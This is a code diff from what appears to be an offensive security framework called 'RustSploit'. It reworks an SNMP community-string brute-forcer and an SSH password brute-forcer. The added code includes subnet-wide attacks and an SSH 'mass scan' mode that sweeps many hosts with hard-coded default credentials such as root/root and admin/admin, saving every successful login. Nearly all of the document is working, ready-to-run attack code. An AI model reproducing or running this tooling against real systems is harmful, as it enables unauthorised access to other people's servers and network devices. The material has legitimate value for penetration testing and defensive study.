// are keys, not passwords). The engine also stores with
|
||||
// CredType::Password — a harmless duplicate that keeps the generic
|
||||
// engine simple.
|
||||
let result = run_bruteforce(
|
||||
&config,
|
||||
combos,
|
||||
move |target: String, port: u16, _user: String, community: String| {
|
||||
let timeout = timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
// Store with CredType::Key for SNMP semantics
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&target,
|
||||
port,
|
||||
"snmp",
|
||||
"",
|
||||
&community,
|
||||
crate::cred_store::CredType::Key,
|
||||
"creds/generic/snmp_bruteforce",
|
||||
)
|
||||
.await;
|
||||
LoginResult::Success
|
||||
}
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Drain
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No valid community strings found.".yellow());
|
||||
// Print results — adapt the engine's generic output for SNMP display
|
||||
if result.found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
|
||||
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] Found {} valid community string(s):",
|
||||
result.found.len()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&output_file)
|
||||
{
|
||||
for (host, _user, community) in &result.found {
|
||||
crate::mprintln!(" {} -> community: '{}'", host, community);
|
||||
let _ = writeln!(file, "{} -> community: '{}'", host, community);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", output_file);
|
||||
crate::mprintln!("[+] Results saved to '{}'", output_file);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try an SNMP community string via async UDP (no spawn_blocking overhead).
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let community_owned = community.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
let addr: SocketAddr = normalized_addr
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", normalized_addr, e))?;
|
||||
|
||||
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
|
||||
// Parse the address
|
||||
let addr: SocketAddr = addr_owned
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
|
||||
let socket = crate::utils::udp_bind(None).await
|
||||
.map_err(|e| anyhow!("Failed to bind UDP socket: {}", e))?;
|
||||
|
||||
// Create UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
|
||||
|
||||
socket
|
||||
.set_read_timeout(Some(timeout))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
let message = build_snmp_get_request(community, version);
|
||||
|
||||
// Build SNMP GET request manually
|
||||
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
|
||||
let message = build_snmp_get_request(&community_owned, version);
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
// Send request
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
// Receive response
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let result: bool = match socket.recv_from(&mut buf) {
|
||||
Ok((size, _)) => {
|
||||
let response = &buf[..size];
|
||||
|
||||
// Parse SNMP response to verify it's valid
|
||||
// A valid SNMP response should:
|
||||
// 1. Start with 0x30 (SEQUENCE)
|
||||
// 2. Contain version, community, and PDU
|
||||
// 3. Have error status = 0 (noError) in the response PDU
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
// Try to parse the response to check error status
|
||||
// If we can parse it and error status is 0, it's valid
|
||||
match parse_snmp_response(response) {
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(false) => false, // Invalid community (error in response)
|
||||
Err(_) => {
|
||||
// Can't parse, but got a response - might be valid
|
||||
// Some devices send malformed responses but still indicate valid community
|
||||
true
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Malformed response - likely invalid
|
||||
false
|
||||
let mut buf = vec![0u8; 4096];
|
||||
match tokio::time::timeout(timeout, socket.recv_from(&mut buf)).await {
|
||||
Ok(Ok((size, _))) => {
|
||||
let response = &buf[..size];
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
match parse_snmp_response(response) {
|
||||
Ok(valid) => Ok(valid),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
Err(e) => {
|
||||
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
|
||||
// EAGAIN (os error 11) can occur on Linux when socket would block
|
||||
let error_kind = e.kind();
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
|| error_kind == std::io::ErrorKind::WouldBlock
|
||||
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|
||||
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
|
||||
{
|
||||
// Timeout or would block - community string is likely invalid
|
||||
false
|
||||
} else {
|
||||
// Other errors might be transient, but log them
|
||||
// For now, treat as invalid to avoid false positives
|
||||
false
|
||||
}
|
||||
}
|
||||
};
|
||||
Ok(result)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| anyhow!("Task join error: {}", e))?;
|
||||
|
||||
result
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => Ok(false), // Timeout or recv error = invalid community
|
||||
}
|
||||
}
|
||||
|
||||
/// Parses SNMP response to check if error status is 0 (noError)
|
||||
@@ -270,16 +279,16 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
@@ -287,7 +296,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
@@ -295,23 +304,23 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
@@ -320,7 +329,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
@@ -330,7 +339,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
@@ -342,7 +351,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
@@ -353,9 +362,9 @@ fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
@@ -371,12 +380,12 @@ fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
@@ -385,34 +394,34 @@ fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
@@ -420,29 +429,27 @@ fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
|
||||
|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
|
||||
|
||||
message
|
||||
build_tlv(0x30, &message_content) // 0x30 = SEQUENCE
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
@@ -453,21 +460,21 @@ fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
let mut len_bytes = Vec::new();
|
||||
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
@@ -487,7 +494,7 @@ fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
@@ -509,7 +516,6 @@ fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
encoded
|
||||
}
|
||||
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
@@ -529,5 +535,74 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"snmp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
// SNMP uses community strings, not user/pass pairs.
|
||||
// Map: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
empty_users,
|
||||
communities,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "snmp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
skip_tcp_check: true, // SNMP is UDP — no TCP pre-check
|
||||
},
|
||||
move |ip: IpAddr, port: u16, _user: String, community: String| {
|
||||
let timeout = timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
// Store with CredType::Key for SNMP semantics
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"snmp",
|
||||
"",
|
||||
&community,
|
||||
crate::cred_store::CredType::Key,
|
||||
"creds/generic/snmp_bruteforce",
|
||||
)
|
||||
.await;
|
||||
LoginResult::Success
|
||||
}
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: false, // UDP timeout = host not responding
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
@@ -2,28 +2,30 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
net::TcpStream,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
io::Write,
|
||||
net::{IpAddr, ToSocketAddrs},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, timeout},
|
||||
time::timeout,
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_yes_no,
|
||||
prompt_existing_file, load_lines, get_filename_in_current_dir
|
||||
normalize_target,
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_port,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
@@ -41,29 +43,118 @@ const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
];
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH Brute Force".to_string(),
|
||||
description: "Brute-force SSH authentication using username/password wordlists. Supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
|
||||
match input.parse() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} — Mass Scan Mode", target).yellow());
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SSH",
|
||||
default_port: 22,
|
||||
state_file: "ssh_hose_state.log",
|
||||
default_output: "ssh_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip, port| {
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?, std::time::Duration::from_secs(5)
|
||||
) {
|
||||
Ok(t) => t,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.set_timeout(10000);
|
||||
if sess.handshake().is_err() { return None; }
|
||||
// Try common defaults
|
||||
let creds = [("root","root"),("admin","admin"),("root",""),("admin",""),("root","123456"),("admin","password")];
|
||||
for (user, pass) in creds {
|
||||
if sess.userauth_password(user, pass).is_ok() && sess.authenticated() {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ssh_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ssh",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ssh_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Username wordlist").await?)
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Password wordlist").await?)
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
@@ -72,57 +163,46 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
}
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
}
|
||||
}
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "ssh_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
println!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -130,9 +210,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -146,7 +226,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
